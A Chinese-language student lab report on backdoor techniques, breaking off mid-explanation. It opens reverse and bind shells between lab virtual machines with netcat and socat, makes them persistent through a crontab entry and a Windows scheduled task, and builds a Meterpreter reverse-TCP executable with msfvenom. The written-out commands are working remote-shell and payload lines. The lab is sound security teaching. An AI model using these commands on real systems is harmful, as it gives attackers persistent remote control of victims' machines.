Exp2 后门原理实践
1. 实验目标
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell使用MSF
- 使用meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2. 实验原理
2.1 后门
- 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
2.2 nc/socat
- nc:在网络工具中有“瑞士军刀”美誉的NetCat, 在我们用了N年了至今仍是爱不释手。本身并非攻击软件,但是由于其强大功能往往被用于做很多“黑暗”的事情
- socat:Netcat++,超级netcat工具
2.3 Metaspolit meterpreter
- Metaspolit:集成大量程序模块,可以随时根据用户需求拼装成新的后门渗透软件的设计工具。
3. 实验过程
3.1 nc的使用
3.1.1 windows获取linux权限
- 首先调出Windows虚拟机的ip地址。
- linux虚拟机通过nc监听5113端口。
- Windows通过5113端口连接linux虚拟机,linux虚拟机迅速响应,从而获得Windowsshell。
3.1.2 linux获取windows权限
- 首先调出Windows虚拟机的ip地址,
- Windows虚拟机通过使用nc在5113端口监听。
- linux虚拟机通过5113端口连接Windows虚拟机,Windows虚拟机获得linuxshell。
3.1.3 nc传输字符串
- 回到nc实际功能了,双方只要一方开启某一端口的监听,另一方主动通过改端口连接对方的IP地址,就可以建立会话。比较简单。
3.1.4 使用netcat获取linux主机操作Shell,cron启动
首先需要设置cron,这是linux下一种计划启动项目,通过设置参数即可以定时启动所需要的操作。此时我们向crontab的最后一行添加以下代码。代表在每小时的第16分钟主动连接172.20.10.11:5113。
16 * * * * /bin/netcat 172.20.10.11 5113 -e /bin/sh
然后只需要在Windows下开启监听即可,在时间到了之后,虽然操作界面没有明显的变化,但是已经可以操作linux了。
3.1.5 使用socat获取Windows主机操作Shell, 任务计划启动
首先需要在Windows下设置计划启动项目,设置操作和触发器,,在添加参数一栏填写
tcp-listen:5113 exec:cmd.exe,pty,stderr
- 这个命令的作用是把cmd.exe绑定到端口5113,同时把cmd.exe的stderr重定向到stdout上,设置触发条件为锁定自启动。
在linux下主动连接Windows主机的5113端口。
socat - tcp:172.20.10.11:5113
锁定Windows主机,即可获取shell。
3.2 Metaspolit设计后门渗透程序
用msfvenom生成一个windows平台的反弹式后门程序,连接端口为9190。输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=9190 -f exe > 20155110_backdoor.exe
解释一波:-p Windows表示在Windows平台下的可执行程序。LHOST表示在反弹连接主句IP,